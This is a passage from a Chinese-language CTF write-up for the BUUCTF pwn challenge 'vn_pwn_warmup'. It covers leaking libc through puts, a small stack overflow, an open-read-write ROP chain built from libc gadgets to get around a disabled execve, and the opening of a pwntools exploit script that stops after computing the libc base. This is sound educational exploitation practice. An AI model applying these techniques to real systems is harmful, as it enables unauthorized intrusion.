vn_pwn_warmup
开了nx和pie
这里给了puts的地址,可以得到libc的基地址
只有这里有个溢出点能溢出0x10个字节
原本的想法是直接用one_gadget来获得shell
但是一直都打不通,由于开了pie也没法本地调试
后来看了大佬的题解,才知道这个题禁用了execve。现在也不知道从哪里看出来的。
对于这种禁用execve或者没法使用system直接getshell的题。
我们可以使用orw来做。
可以把paylaod写到这里
然后在跳到这里执行
但是这个题没法用题目文件里的rop_gadget,看了题解才知道原来 libc库里有我们需要的bss,pop_di。用ROPgadget --binary libc --only ‘pop|ret’ | grep ‘rdi’ 和 readelf -S libc | grep “.bss”获取。
get到一个新的知识点。
所以先用read写入flag到bss段,然后orw打印flag
在第一个rop结束之后,栈正好恢复到上一个函数,因此可以继续执行rop
exp
#coding:utf-8
from pwn import*
context(log_level = 'debug')
io = remote ('node3.buuoj.cn',28559)
#io = process('/media/psf/CTF/vn_pwn_warmup')
elf = ELF('/media/psf/CTF/vn_pwn_warmup')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/media/psf/CTF/libc/1664libc-2.23.so')
io.recvuntil("0x")
puts_addr=int(io.recv(12),16)
libc_base=puts_addr-libc.sym['puts']
print hex(libc_base